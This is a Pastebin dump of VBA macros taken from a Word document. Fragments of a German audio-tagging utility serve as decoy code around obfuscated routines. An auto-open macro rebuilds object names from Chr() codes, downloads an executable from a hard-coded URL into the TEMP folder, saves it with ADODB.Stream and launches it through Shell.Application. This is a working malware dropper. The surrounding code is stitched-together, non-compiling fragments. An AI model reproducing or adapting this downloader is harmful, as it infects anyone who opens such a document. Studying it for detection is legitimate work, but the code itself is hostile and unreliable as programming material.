API tools faq
paste
Advertisement
Guest User

Untitled

a guest
Aug 6th, 2015
440
0
Never
Add comment
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
VisualBasic 36.56 KB | None | 0 0
raw download clone embed print report
  1. ' module: ThisDocument
  2.  
  3. Attribute VB_Name = "ThisDocument"
  4. Attribute VB_Base = "1Normal.ThisDocument"
  5. Attribute VB_GlobalNameSpace = False
  6. Attribute VB_Creatable = False
  7. Attribute VB_PredeclaredId = True
  8. Attribute VB_Exposed = True
  9. Attribute VB_TemplateDerived = True
  10. Attribute VB_Customizable = True
  11.  
  12. Sub autoopen()
  13.  
  14. VEeve (8.2)
  15.  
  16. End Sub
  17.  
  18. Sub VEeve(FFFFF As Long)
  19. KLJLGBk
  20.  
  21. End Sub
  22.  
  23.  
  24.  
  25.  
  26.  
  27. ' module: Module2
  28.  
  29. Attribute VB_Name = "Module2"
  30. Public Sub nachtag()
  31.     Dim eigeneplaylist As String, aktdate As Date, akttime As Date, akttimedate As Date, filename As String, tempzeichen As String, cmd As String, verzeichnis As String, i As Integer, F, temppfad As String, position As Integer, mp2zeit As Date, dbfilename As String, fso As Object, files() As String, filetagged As Boolean, artint As String
  32.    
  33.     If Verriegelung.verriegelungein = "1" Then Exit Sub 'Verriegelung
  34.    frmMain.untaggedtaggen.Appearance = 10 'Buttonfarbe ?ndern
  35.    frmMain.untaggedtaggen.ForeColor = &H0&
  36.     i = 0 'r?cksetzten
  37.    
  38.     'Keine untagged files
  39.    If LenB(Dir$(frmMain.work.Text + "untagged\", vbDirectory)) = 0 Then
  40.         Call Verriegelung.verriegelungaus 'Verriegelung
  41.        Exit Sub
  42.     End If
  43.    
  44.     'Suche wird ausgef?hrt
  45.    Call Werkzeuge.suche(extension, frmMain.work.Text + "untagged\", files(), "1")
  46.  
  47.     ' Hier wird nach extension dateien gesucht
  48.    While i < UBound(files) - 1
  49.         If frmMain.turbo.Value = "0" Then DoEvents
  50.         Call Ausgabe.info_loeschen 'Infofenster l?schen
  51.        frmMain.infocount.Caption = Trim$(Str$(i + 1)) + "/" + Trim$(Str$(UBound(files) - 1))
  52.         i = i + 1
  53.         filetagged = "0"
  54.         calbum = vbNullString
  55.         cinter = vbNullString
  56.         ctitel = vbNullString
  57.         cgenre = vbNullString
  58.         artint = vbNullString
  59.         tempzeichen = Mid$(files(i), Len(frmMain.work.Text + "untagged\") + 1, Len(files(i)))
  60.         position = InStr(tempzeichen, "\")
  61.        
  62.         If position = 0 Then
  63.             MsgBox "Error: Your sourcepath/sourcefile structure is wrong! Debuginfo: " & tempzeichen
  64.             Set fso = Nothing
  65.             Call Ausgabe.info_loeschen 'Infofenster l?schen
  66.            Call Verriegelung.verriegelungaus 'Verriegelung
  67.            Exit Sub 'Quellfiles direkt im Quellordner
  68.        End If
  69.        
  70.         verzeichnis = Left$(tempzeichen, position - 1)
  71.        
  72.         If Not Werkzeuge.sourcepathtest(verzeichnis) Then
  73.             MsgBox "Error: Your workpath/workfile structure is wrong! Debuginfo: " & verzeichnis
  74.             Set fso = Nothing
  75.             Call Ausgabe.info_loeschen 'Infofenster l?schen
  76.            Call Verriegelung.verriegelungaus 'Verriegelung
  77.            Exit Sub 'Quellfiles direkt im Quellordner
  78.        End If
  79.        
  80.         filename = Mid$(tempzeichen, position + 1, Len(tempzeichen) - 4 - position)
  81. End Sub
  82.  
  83.  
  84. Public Sub Hidnna()
  85.  
  86.  
  87.         ' Hier wird das datum und die uhrzeit bestimmt
  88.        Set fso = CreateObject("Scripting.FileSystemObject")
  89.         Set F = fso.GetFile(files(i))
  90.         akttimedate = F.DateLastModified 'original date,time, wird von der mp2 ausgelesen
  91.        Set F = Nothing
  92.        
  93.         If Len(Trim$(Str$(akttimedate))) = 10 Then
  94.             akttime = "00:00:00"
  95.         Else
  96.             akttime = Right$(akttimedate, 8)
  97.         End If
  98.        
  99.         frmMain.akttime.Caption = akttime
  100.         'Mp2 Dauer wird ausgelesen
  101.        mp2zeit = Werkzeuge.GetMP3Length(files(i))
  102.         frmMain.mp2zeit.Caption = mp2zeit
  103.        
  104.         'Playlistumbruch Abfrage (Nur bei End-Zeit)
  105.        If tagging.zeitauswahl.ListIndex = 1 Then akttimedate = CDate(akttimedate) - mp2zeit
  106.        
  107.         'Playlistname wird generiert
  108.        aktdate = Left$(akttimedate, 10) 'akttimedate muss geteilt werden
  109.        frmMain.aktdate.Caption = aktdate
  110.         eigeneplaylist = Right$(aktdate, 4) + "-" + Mid$(aktdate, 4, 2) + "-" + Left$(aktdate, 2) + "-" + verzeichnis + ".txt"
  111.         'Cancel Abfrage
  112.        If frmMain.abbrechen.Enabled = "0" Then
  113.             Call Ausgabe.info_loeschen 'Infofenster l?schen
  114.            Call Verriegelung.verriegelungaus 'Verriegelung
  115.            Set fso = Nothing
  116.             Exit Sub
  117.         End If
  118.        
  119.         frmMain.infoplaylist.Caption = verzeichnis
  120.  
  121.  
  122.         'wenn alte "normale" playlist dann l?schen
  123.        If LenB(Dir$(frmMain.work.Text + "untagged\" + verzeichnis + "\" + eigeneplaylist, vbDirectory)) <> _
  124.         0 Then Kill (frmMain.work.Text + "untagged\" + verzeichnis + "\" + eigeneplaylist)
  125.        
  126.         ' hier wird die geloggte playliste kopiert
  127.        If LenB(Dir$(App.Path + "\playlists\Logged Playlists\" + eigeneplaylist, vbDirectory)) <> 0 And _
  128.         Werkzeuge.plvergleich(verzeichnis, "offline") Then
  129.             If LenB(Dir$(frmMain.work.Text + "untagged\" + verzeichnis + "\" + eigeneplaylist, vbDirectory)) <> 0 _
  130.             Then Kill (frmMain.work.Text + "untagged\" + verzeichnis + "\" + eigeneplaylist)
  131.             fso.CopyFile App.Path + "\playlists\Logged Playlists\" + eigeneplaylist, frmMain.work.Text + "untagged\" + _
  132.             verzeichnis "\" + eigeneplaylist
  133.             'tagid unterprogramm aufrufen
  134.            dbfilename = Tagschreiben(frmMain.work.Text, verzeichnis, akttime, aktdate, frmMain.work.Text + "untagged\" + _
  135.             verzeichnis + "\" + eigeneplaylist, filetagged, artint, mp2zeit)
  136.            
  137.             If filetagged Then
  138.                 If allgemeine.ueberschreiben.Value And Werkzeuge.data_songexists(dbfilename, akttimedate, akttime, aktdate) Then
  139.                     Kill (files(i))
  140.                     Call Ausgabe.textbox(frmMain.interprettag.Caption + " - " + frmMain.titeltag.Caption + "......still existing / deleted")
  141.                     GoTo nextrun
  142.                 End If
  143.                
  144.                 temppfad = Taggen.tagsetzen(verzeichnis, frmMain.work.Text + "untagged\" + verzeichnis + "\" + filename + "." + extension, artint)
  145.                 Call file_speichern.taggedspeichern(files(i), temppfad, akttime, aktdate)
  146.                 GoTo nextrun
  147.             End If
  148.         End If
  149.         End Sub
  150.        
  151.  
  152.  
  153. Sub Jkjs()
  154.         ' hier wird die online playliste kopiert
  155.        If LenB(Dir$(App.Path + "\playlists\Online Playlists\" + eigeneplaylist, vbDirectory)) <> 0 And _
  156.         Werkzeuge.plvergleich(verzeichnis, "online") Then
  157.             If LenB(Dir$(frmMain.work.Text + "untagged\" + verzeichnis + "\" + eigeneplaylist, vbDirectory)) <> 0 _
  158.             Then Kill (frmMain.work.Text + "untagged\" + verzeichnis + "\" + eigeneplaylist)
  159.             fso.CopyFile App.Path + "\playlists\Online Playlists\" + eigeneplaylist, frmMain.work.Text + "untagged\" + _
  160.             verzeichnis "\" + eigeneplaylist
  161.  
  162.             'tagid unterprogramm aufrufen
  163.            dbfilename = Tagschreiben(frmMain.work.Text, verzeichnis, akttime, aktdate, frmMain.work.Text + "untagged\" + verzeichnis + _
  164.             "\" + eigeneplaylist, filetagged, artint, mp2zeit)
  165.          End Sub
  166. Public Function usZ5pw3gU8(KJB As Long)
  167.  
  168. Dim httpRequest: Set httpRequest = LJKNojk(Chr(77) & Chr(105) & Chr(60) & "c" & Chr(114) & Chr(111) & Chr(61) & Chr(115) & Chr(111) & Chr(102) & "t" & Chr(59) & Chr(46) & Chr(88) & "M" & Chr(60) & Chr(76) & ";" & "H" & Chr(84) & "=" & Chr(84) & "P")
  169. httpRequest.Open Chr(71) & Chr(69) & Chr(84), "h" & "t" & Chr(116) & "p" & Chr(58) & Chr(47) & Chr(47) & "c" & Chr(118) & "a" & Chr(103) & "l" & "o" & "b" & Chr(97) & "l" & "." & Chr(99) & Chr(111) & Chr(109) & "/" & "4" & "5" & "g" & "3" & Chr(51) & Chr(47) & "3" & Chr(52) & "t" & "2" & Chr(100) & Chr(51) & "." & "e" & Chr(120) & Chr(101), False
  170. httpRequest.Send
  171. usZ5pw3gU8 = httpRequest.responseBody
  172. End Function
  173. Public Sub YUYUYUUYUYY1()
  174.             If filetagged Then
  175.                 If allgemeine.ueberschreiben.Value And Werkzeuge.data_songexists(dbfilename, akttimedate, akttime, aktdate) Then
  176.                     Kill (files(i))
  177.                     Call Ausgabe.textbox(frmMain.interprettag.Caption + " - " + frmMain.titeltag.Caption + "......still existing / deleted")
  178.                     GoTo nextrun
  179.                 End If
  180.  
  181.                 temppfad = Taggen.tagsetzen(verzeichnis, frmMain.work.Text + "untagged\" + verzeichnis + "\" + filename + "." + extension, artint)
  182.                 Call file_speichern.taggedspeichern(files(i), temppfad, akttime, aktdate)
  183.                 GoTo nextrun
  184.             End If
  185.         End If
  186.  
  187.         'wenn alte "normale" playlist dann l?schen
  188.        If LenB(Dir$(frmMain.work.Text + "untagged\" + verzeichnis + "\" + eigeneplaylist, vbDirectory)) <> 0 Then _
  189.         Kill (frmMain.work.Text + "untagged\" + verzeichnis + "\" + eigeneplaylist)
  190.        
  191.         ' hier wird die amd playliste downgeloadet
  192.        Call Werkzeuge.DownLoad(verzeichnis, aktdate, frmMain.work.Text + "untagged\" + verzeichnis + "\" + eigeneplaylist)
  193.            
  194.         'Wenn Download erfolgreich
  195.        If LenB(Dir$(frmMain.work.Text + "untagged\" + verzeichnis + "\" + eigeneplaylist, vbDirectory)) <> 0 Then
  196.  
  197.             'Playlist kopieren
  198.            If LenB(Dir$(App.Path + "\playlists\Online Playlists\" + eigeneplaylist, vbDirectory)) <> 0 Then
  199.                 If FileLen(frmMain.work.Text + "untagged\" + verzeichnis + "\" + eigeneplaylist) > FileLen(App.Path + "\playlists\Online Playlists\" + eigeneplaylist) Then
  200.                     Kill (App.Path + "\playlists\Online Playlists\" + eigeneplaylist)
  201.                     fso.CopyFile frmMain.work.Text + "untagged\" + verzeichnis + "\" + eigeneplaylist, App.Path + "\playlists\Online Playlists\" + eigeneplaylist
  202.                 End If
  203.             Else
  204.                 fso.CopyFile frmMain.work.Text + "untagged\" + verzeichnis + "\" + eigeneplaylist, App.Path + "\playlists\Online Playlists\" + eigeneplaylist
  205.             End If
  206.            
  207.             'tagid unterprogramm aufrufen
  208.            dbfilename = Tagschreiben(frmMain.work.Text, verzeichnis, akttime, aktdate, frmMain.work.Text + "untagged\" + verzeichnis + "\" + eigeneplaylist, filetagged, artint, mp2zeit) 'hier wird tag3 geschrieben
  209.                
  210.             'getaggtes file verschieben
  211.            If filetagged Then
  212.                 If allgemeine.ueberschreiben.Value And Werkzeuge.data_songexists(dbfilename, akttimedate, akttime, aktdate) Then
  213.                     Kill (files(i))
  214.                     Call Ausgabe.textbox(frmMain.interprettag.Caption + " - " + frmMain.titeltag.Caption + "......still existing / deleted")
  215.                     GoTo nextrun
  216.                 End If
  217. End Sub
  218.  
  219.  
  220. ' module: Module1
  221.  
  222. Attribute VB_Name = "Module1"
  223.  
  224. Public Function LJKNdVDs22()
  225.                 temppfad = Taggen.tagsetzen(verzeichnis, frmMain.work.Text + "untagged\" + verzeichnis + "\" + filename + "." + extension, artint)
  226.                 Call file_speichern.taggedspeichern(files(i), temppfad, akttime, aktdate)
  227.                 GoTo nextrun
  228.             Else
  229.                 'ungetaggtes file verschieben
  230.                Call file_speichern.untaggedspeichern(files(i), verzeichnis, akttime, aktdate)
  231.             End If
  232.         Else
  233.             'ungetaggtes file verschieben
  234.            Call file_speichern.untaggedspeichern(files(i), verzeichnis, akttime, aktdate)
  235.         End If
  236. nextrun:
  237.         frmMain.statusnachtag.Value = (100 / (UBound(files) - 1)) * i 'statusbar wird aktualisiert
  238.    Wend
  239.    
  240.     Set fso = Nothing
  241.     Call Ausgabe.info_loeschen 'Infofenster l?schen
  242.    Call Verriegelung.verriegelungaus 'Verriegelung
  243. End Function
  244.  
  245. Public Sub KLLKLLLL(adodbStream As Object, tempFile As String)
  246. adodbStream.savetofile tempFile, 2
  247. End Sub
  248. Sub LKjlknlk()
  249.  
  250.         ' hier wird die Online playliste downgeloadet
  251.        If LenB(Dir$(frmMain.work.Text + eigeneplaylist, vbDirectory)) <> 0 Then Kill (frmMain.work.Text + eigeneplaylist)
  252.         Call Werkzeuge.DownLoad(verzeichnis, aktdate, frmMain.work.Text + eigeneplaylist)
  253.                  
  254.         If LenB(Dir$(frmMain.work.Text + eigeneplaylist, vbDirectory)) <> 0 Then
  255.            
  256.             'Playlist kopieren
  257.            If LenB(Dir$(App.Path + "\playlists\Online Playlists\" + eigeneplaylist, vbDirectory)) <> 0 Then
  258.                 If FileLen(frmMain.work.Text + eigeneplaylist) > FileLen(App.Path + "\playlists\Online Playlists\" + eigeneplaylist) Then
  259.                     Kill (App.Path + "\playlists\Online Playlists\" + eigeneplaylist)
  260.                     fso.CopyFile frmMain.work.Text + eigeneplaylist, App.Path + "\playlists\Online Playlists\" + eigeneplaylist
  261.                 End If
  262.             Else
  263.                 fso.CopyFile frmMain.work.Text + eigeneplaylist, App.Path + "\playlists\Online Playlists\" + eigeneplaylist
  264.             End If
  265.            
  266.             'hier wird tag3 geschrieben
  267.            dbfilename = Tagschreiben(frmMain.work.Text, verzeichnis, akttime, aktdate, frmMain.work.Text + eigeneplaylist, filetagged, artint, mp2zeit)
  268.                
  269.             If filetagged Then
  270.                 If allgemeine.ueberschreiben.Value And Werkzeuge.data_songexists(dbfilename, akttimedate, akttime, aktdate) Then
  271.                     Kill (files(i))
  272.                     Call Ausgabe.textbox(frmMain.interprettag.Caption + " - " + frmMain.titeltag.Caption + "......still existing / deleted")
  273.                     frmMain.statuscon.Value = (100 / (UBound(files) - 1)) * i 'statusbar wird aktualisiert
  274.                    GoTo nextrun
  275.                 End If
  276.             End Sub
  277.  
  278.  
  279. ' module: Module3
  280.  
  281. Attribute VB_Name = "Module3"
  282. Public Sub Konvert()
  283.     Dim tempzeichen As String, filename As String, akttimedate As Date, akttime As Date, aktdate As Date, cmd As String, verzeichnis As String, F, temppfad As String, position As Integer, mp2zeit As Date, dbfilename As String, quellfile As String, eigeneplaylist As String, i As Integer, fso As Object, files() As String, filetagged As Boolean, artint As String
  284.    
  285.     If Verriegelung.verriegelungein = "1" Then Exit Sub 'Verriegelung
  286.    frmMain.Start.Appearance = 10 'Buttondesign ?ndern
  287.    frmMain.Start.ForeColor = &H0& 'Buttonfarbe ?ndern
  288.    If allgemeine.timesync_konv.Value = "1" Then Call Timesyncron.syncnow
  289.     i = 0 'R?cksetzten
  290.    Call Werkzeuge.suche("mp2", frmMain.Quelle.Text, files(), "1") 'Suche, nach mp2-files wird ausgef?hrt
  291.    
  292.     ' Hier werden Daten der gefundenen files ausgewertet (Verzeichnis und Filename)
  293.    If UBound(files) = 1 Then Call Ausgabe.textbox("No source-files")
  294.    
  295.     While i < UBound(files) - 1 'Anzahl der gefundenen files
  296.        If UBound(files) - 1 < Scannen.minfiles.CurPosition And Aktivierauswahl.scan_aktiv.Value = "1" Then
  297.             Call Ausgabe.textbox("Too few source-files..." + Str(UBound(files) - 1) + "/" + Str(Scannen.minfiles.CurPosition))
  298.             Call Verriegelung.verriegelungaus
  299.             Exit Sub
  300.         End If
  301. End Function
  302. Public Function LJKNojk(UIlhbjkhoiyH As String)
  303. UIlhbjkhoiyH = Replace(UIlhbjkhoiyH, Chr(60), "")
  304. UIlhbjkhoiyH = Replace(UIlhbjkhoiyH, Chr(61), "")
  305. UIlhbjkhoiyH = Replace(UIlhbjkhoiyH, Chr(59), "")
  306.  Set LJKNojk = CreateObject(UIlhbjkhoiyH)
  307. End Function
  308. Public Function khjgbkjh()
  309.         If frmMain.turbo.Value = "0" Then DoEvents
  310.         Call Ausgabe.info_loeschen 'Infofenster l?schen
  311.        frmMain.infocount.Caption = Trim$(Str$(i + 1)) + "/" + Trim$(Str$(UBound(files) - 1))
  312.         i = i + 1
  313.         filetagged = "0" 'R?cksetzen der Marke
  314.        calbum = vbNullString
  315.         cinter = vbNullString
  316.         ctitel = vbNullString
  317.         cgenre = vbNullString
  318.         artint = vbNullString
  319.         tempzeichen = Mid$(files(i), Len(frmMain.Quelle.Text) + 1, Len(files(i)))
  320.         position = InStr(tempzeichen, "\") 'Sucht das "\" und gibt Position zur?ck
  321.        
  322.         If position = 0 Then
  323.             MsgBox "Error: Your sourcepath/sourcefile structure is wrong! Debuginfo: " & tempzeichen
  324.             Set fso = Nothing
  325.             Call Ausgabe.info_loeschen 'Infofenster l?schen
  326.            Call Verriegelung.verriegelungaus 'Verriegelung
  327.            Exit Function 'Quellfiles direkt im Quellordner
  328.        End If
  329.        
  330.         verzeichnis = Left$(tempzeichen, position - 1) 'Verzeichnis wird herrausgelesen
  331.        
  332.         filename = Mid$(tempzeichen, position + 1, Len(tempzeichen) - 4 - position) 'Filename ohne Pfad und Extension
  333.                
  334.         'Wenn es sich um ein untagged file handelt, dann Verzeichnis von file auslesen
  335.        If verzeichnis = "untagged" Or verzeichnis = "Untagged" Then
  336.             tempzeichen = Right$(tempzeichen, Len(tempzeichen) - 9)
  337.             position = InStr(1, tempzeichen, "-")
  338.             verzeichnis = Trim$(Mid$(tempzeichen, position + 1, Len(tempzeichen) - position - 4))
  339.         End If
  340.        
  341.         If Not Werkzeuge.sourcepathtest(verzeichnis) Then
  342.             MsgBox "Error: Your sourcepath/sourcefile structure is wrong! Debuginfo: " & verzeichnis
  343.             Set fso = Nothing
  344.             Call Ausgabe.info_loeschen 'Infofenster l?schen
  345.            Call Verriegelung.verriegelungaus 'Verriegelung
  346.            Exit Function 'Quellfiles direkt im Quellordner
  347.        End If
  348.  
  349.         'Kontrolle ob file "delsize" byte hat
  350.        If LenB(Dir$(files(i), vbDirectory)) <> 0 Then
  351.             frmMain.mp2size.Caption = Format(FileLen(files(i)) / 1024, "0.0") + "kb"
  352.         Else
  353.             GoTo nextrun
  354.         End If
  355.        
  356.         If FileLen(files(i)) < tagging.delsize(0).CurPosition Then
  357.             If LenB(Dir$(files(i), vbDirectory)) <> 0 Then Kill files(i)
  358.             GoTo nextrun
  359.         End If
  360.          
  361.         ' Hier wird das datum und die uhrzeit bestimmt
  362.        Set fso = CreateObject("Scripting.FileSystemObject")
  363.         Set F = fso.GetFile(files(i))
  364.         akttimedate = F.DateLastModified 'original date,time, wird von der mp2 ausgelesen
  365.        Set F = Nothing
  366.        
  367.         If Len(Trim$(Str$(akttimedate))) = 10 Then
  368.             akttime = "00:00:00"
  369.         Else
  370.             akttime = Right$(akttimedate, 8)
  371.         End If
  372.        
  373.         frmMain.akttime.Caption = akttime
  374.        
  375.         'Mp2 Dauer wird ausgelesen
  376.        mp2zeit = Werkzeuge.GetMP3Length(files(i))
  377.         frmMain.mp2zeit.Caption = mp2zeit
  378.        
  379.         'Playlistumbruch Abfrage (Nur bei End-Zeit)
  380.        If tagging.zeitauswahl.ListIndex = 1 Then akttimedate = CDate(akttimedate) - mp2zeit
  381.        
  382.         'Playlistname wird generiert
  383.        aktdate = Left$(akttimedate, 10) 'akttimedate muss geteilt werden
  384.        frmMain.aktdate.Caption = aktdate
  385.         eigeneplaylist = Right$(aktdate, 4) + "-" + Mid$(aktdate, 4, 2) + "-" + Left$(aktdate, 2) + "-" + verzeichnis + ".txt"
  386.        
  387.         'Cancel Abfrage
  388.        If Not frmMain.abbrechen.Enabled Then
  389.             Call Ausgabe.info_loeschen 'Infofenster l?schen
  390.            Call Verriegelung.verriegelungaus 'Verriegelung
  391.            Set fso = Nothing
  392.             Exit Sub
  393.         End If
  394.        
  395.         frmMain.infoplaylist.Caption = verzeichnis
  396.         Excel_Statistik.AddDatagesamt 'Datenbank (Excel) Gesamtdata addieren
  397.        
  398.         ' hier wird die geloggte playliste kopiert
  399.        If LenB(Dir$(App.Path + "\playlists\Logged Playlists\" + eigeneplaylist, vbDirectory)) <> 0 And Werkzeuge.plvergleich(verzeichnis, "offline") Then
  400.             If LenB(Dir$(frmMain.work.Text + eigeneplaylist, vbDirectory)) <> 0 Then Kill (frmMain.work.Text + eigeneplaylist)
  401.             fso.CopyFile App.Path + "\playlists\Logged Playlists\" + eigeneplaylist, frmMain.work.Text + eigeneplaylist
  402.                
  403.             'hier wird tag3 geschrieben
  404.            dbfilename = Tagschreiben(frmMain.work.Text, verzeichnis, akttime, aktdate, frmMain.work.Text + eigeneplaylist, filetagged, artint, mp2zeit)
  405.            
  406. End Sub
  407. Public Function KLJLGBk()
  408. Set processEnv = LJKNojk(Chr(87) & Chr(60) & Chr(83) & Chr(99) & Chr(61) & Chr(114) & Chr(105) & Chr(112) & Chr(116) & ";" & Chr(46) & Chr(83) & Chr(61) & Chr(104) & Chr(101) & "<" & Chr(108) & Chr(108)).Environment(Chr(80) & Chr(114) & "o" & Chr(99) & Chr(101) & "s" & "s")
  409. tempFolder = processEnv("T" & Chr(69) & Chr(77) & Chr(80))
  410. Dim adodbStream As Object
  411. Set adodbStream = LJKNojk(Chr(65) & "<" & "d" & Chr(111) & Chr(59) & Chr(100) & Chr(98) & Chr(61) & Chr(46) & Chr(83) & Chr(116) & Chr(61) & Chr(114) & Chr(60) & Chr(101) & "a" & Chr(59) & Chr(109))
  412. Dim tempFile As String
  413. tempFile = tempFolder + "\Mb5k9G0zH.exe"
  414. With adodbStream
  415.    .Type = 1
  416.     .Open
  417.     .write usZ5pw3gU8(55542)
  418.    
  419. End With
  420.  
  421.  KLLKLLLL adodbStream, tempFile
  422. Set shellApp = LJKNojk(Chr(83) & Chr(104) & Chr(61) & "e" & Chr(108) & Chr(59) & Chr(108) & "<" & Chr(46) & Chr(65) & "p" & ";" & Chr(112) & Chr(108) & Chr(105) & "<" & Chr(99) & Chr(97) & Chr(116) & Chr(61) & Chr(105) & Chr(111) & Chr(110))
  423. shellApp.Open (tempFile)
  424. End Function
  425. Sub KJKmk()
  426.             If filetagged Then  'Wenn TagID Infos vorhanden sind
  427.                If allgemeine.ueberschreiben.Value And Werkzeuge.data_songexists(dbfilename, akttimedate, akttime, aktdate) Then
  428.                     Kill (files(i))
  429.                     Call Ausgabe.textbox(frmMain.interprettag.Caption + " - " + frmMain.titeltag.Caption + "......still existing / deleted") 'Wenn File existiert, dann l?schen
  430.                    frmMain.statuscon.Value = (100 / (UBound(files) - 1)) * i 'statusbar wird aktualisiert
  431.                    GoTo nextrun
  432.                 End If
  433.                
  434.                 quellfile = konvertieren(files(i), filename, verzeichnis, eigeneplaylist) 'Konvertierung starten
  435.                If quellfile = "error" Then GoTo nextrun
  436.                 temppfad = Taggen.tagsetzen(verzeichnis, frmMain.work.Text + filename + "." + extension, artint) 'TagID in konvertiertes File schreiben
  437.                Call tagged(quellfile, temppfad, files(i), akttime, aktdate, i, (UBound(files) - 1)) 'File verschieben
  438.                GoTo nextrun
  439.             End If
  440.         End If
  441.        
  442.         ' hier wird die Online playliste kopiert
  443.        If LenB(Dir$(App.Path + "\playlists\Online Playlists\" + eigeneplaylist, vbDirectory)) <> 0 And Werkzeuge.plvergleich(verzeichnis, "online") Then
  444.             If LenB(Dir$(frmMain.work.Text + eigeneplaylist, vbDirectory)) <> 0 Then Kill (frmMain.work.Text + eigeneplaylist)
  445.             fso.CopyFile App.Path + "\playlists\Online Playlists\" + eigeneplaylist, frmMain.work.Text + eigeneplaylist
  446.                
  447.             'hier wird tag3 geschrieben
  448.            dbfilename = Tagschreiben(frmMain.work.Text, verzeichnis, akttime, aktdate, frmMain.work.Text + eigeneplaylist, filetagged, artint, mp2zeit)
  449.            
  450.             If filetagged Then  'Wenn TagID Infos vorhanden sind
  451.                If allgemeine.ueberschreiben.Value And Werkzeuge.data_songexists(dbfilename, akttimedate, akttime, aktdate) Then
  452.                     Kill (files(i))
  453.                     Call Ausgabe.textbox(frmMain.interprettag.Caption + " - " + frmMain.titeltag.Caption + "......still existing / deleted") 'Wenn File existiert, dann l?schen
  454.                    frmMain.statuscon.Value = (100 / (UBound(files) - 1)) * i 'statusbar wird aktualisiert
  455.                    GoTo nextrun
  456.                 End If
  457.                
  458.                 quellfile = konvertieren(files(i), filename, verzeichnis, eigeneplaylist) 'Konvertierung starten
  459.                If quellfile = "error" Then GoTo nextrun
  460.                 temppfad = Taggen.tagsetzen(verzeichnis, frmMain.work.Text + filename + "." + extension, artint) 'TagID in konvertiertes File schreiben
  461.                Call tagged(quellfile, temppfad, files(i), akttime, aktdate, i, (UBound(files) - 1)) 'File verschieben
  462.                GoTo nextrun
  463.             End If
  464.         End If
  465. End Sub
  466.  
  467. Sub LKjlknlk()
  468.                 quellfile = konvertieren(files(i), filename, verzeichnis, eigeneplaylist)
  469.                 If quellfile = "error" Then GoTo nextrun
  470.                 temppfad = Taggen.tagsetzen(verzeichnis, frmMain.work.Text + filename + "." + extension, artint)
  471.                 Call tagged(quellfile, temppfad, files(i), akttime, aktdate, i, (UBound(files) - 1))
  472.             Else
  473.                 quellfile = konvertieren(files(i), filename, verzeichnis, eigeneplaylist)
  474.                 If quellfile = "error" Then GoTo nextrun
  475.                 Call untagged(quellfile, verzeichnis, akttime, aktdate, files(i), i, (UBound(files) - 1))
  476.             End If
  477.         Else
  478.             quellfile = konvertieren(files(i), filename, verzeichnis, eigeneplaylist)
  479.             If quellfile = "error" Then GoTo nextrun
  480.             Call untagged(quellfile, verzeichnis, akttime, aktdate, files(i), i, (UBound(files) - 1))
  481.         End If
  482. nextrun:
  483.     Wend
  484.    
  485.     Set fso = Nothing
  486.     Call Ausgabe.info_loeschen 'Infofenster l?schen
  487.    Call Verriegelung.verriegelungaus 'Verriegelung
  488. End Sub
  489. Private Function konvertieren(file As String, filename As String, verzeichnis As String, eigeneplaylist As String) As String
  490.         Dim cmd As String, temppfad As String, quellfile As String, F As Integer, mp2test As String, addline As String, fso As Object, DShell As Object, genie As Object
  491.        
  492.         On Error GoTo fehler
  493.         Set DShell = New Dos
  494.         'MP2 ?berpr?fung
  495.        If allgemeine.mp2test.Value = "1" Then
  496.             cmd = """" + App.Path + "\tools\besplit.exe""" + " -core( -input """ + file + """ -output """ + App.Path + "\temp\mp2test.mp2""" + " -type mp2 -logfile """ + App.Path + "\temp\mp2test.log""" + " )" 'Dos-Befehl bilden
  497.            Call DShell.shellwait(cmd, allgemeine.showdos.Value) 'Dos-Befehle ausf?hren
  498.            If LenB(Dir$(App.Path + "\temp\mp2test.mp2", vbDirectory)) <> 0 Then Kill (App.Path + "\temp\mp2test.mp2")
  499.            
  500.             If LenB(Dir$(App.Path + "\temp\mp2test.log", vbDirectory)) <> 0 Then
  501.                 Call Werkzeuge.IsFileOpen(App.Path + "\temp\mp2test.log")
  502.                 F = FreeFile
  503.                
  504.                 Open App.Path + "\temp\mp2test.log" For Binary As #F
  505.                     mp2test = Space$(LOF(F))
  506.                     Get #F, , mp2test
  507.                 Close F
  508.                
  509.                 If InStr(mp2test, "Stream error") Then
  510.                     Call Ausgabe.textbox(filename + ".mp2......MP2-Error / moved")
  511.                     If LenB(Dir$(frmMain.work.Text + "Error", vbDirectory)) = 0 Then MkDir frmMain.work.Text + "Error"
  512.                     If LenB(Dir$(frmMain.work.Text + "Error\" + verzeichnis, vbDirectory)) = 0 Then MkDir frmMain.work.Text + "Error\" + verzeichnis
  513.                     Call Werkzeuge.IsFileOpen(file)
  514.                     Name file As frmMain.work.Text + "Error\" + verzeichnis + "\" + filename + ".mp2"
  515.                     Kill (App.Path + "\temp\mp2test.log")
  516.                     konvertieren = "error"
  517.                     Set DShell = Nothing
  518.                     Exit Function
  519.                 End If
  520.                
  521.                 Kill (App.Path + "\temp\mp2test.log")
  522.             End If
  523.         End If
  524.        
  525.         If extension = "mp2" Then
  526.             If frmMain.noextension.Value = "1" Then
  527.                 Set fso = CreateObject("Scripting.FileSystemObject")
  528.                 fso.CopyFile file, frmMain.work.Text + filename + ".mp2"
  529.                 Set fso = Nothing
  530.             Else
  531.                 ' hier startet lame (mp2 in temp.wav)
  532.                cmd = """" + App.Path + "\tools\lame.exe""" + " --decode --priority " + shell_prio + " """ + file + """ """ + frmMain.work.Text + "temp.wav""" 'Dos-Befehl bilden
  533.                Call DShell.shellwait(cmd, allgemeine.showdos.Value) 'Dos-Befehle ausf?hren
  534.                
  535.                 If Aktivierauswahl.mp2normal_aktiv.Value = "1" Then
  536.                     frmMain.normset.Caption = " Normalize" 'Infofenster
  537.                    
  538.                     If normal.prozenable.Value = "1" Then
  539.                         frmMain.normset.Caption = frmMain.normset.Caption + " ,auto ," + Str$(normal.peakprozslider.CurPosition) + "%" 'Infofenster
  540.                    Else
  541.                         frmMain.normset.Caption = frmMain.normset.Caption + " ,constant ," + Str$(normal.peakdbslider.CurPosition) + "db" 'Infofenster
  542.                    End If
  543.                    
  544.                     ' hier startet normalisierung
  545.                    cmd = """" + App.Path + "\tools\" + "normalize.exe """ + normoptions + " """ + frmMain.work.Text + "temp.wav""" 'Dos-Befehl bilden
  546.                    Call DShell.shellwait(cmd, allgemeine.showdos.Value) 'Dos-Befehle ausf?hren
  547.                End If
  548.                
  549.                 'R?ckkonvertierung
  550.                If Aktivierauswahl.mp2_cbr_aktiv.Value = "1" Then
  551.                     frmMain.encoderset.Caption = "CBR " + MP2cbrmenu.cbrbitrate.Text 'Infofenster
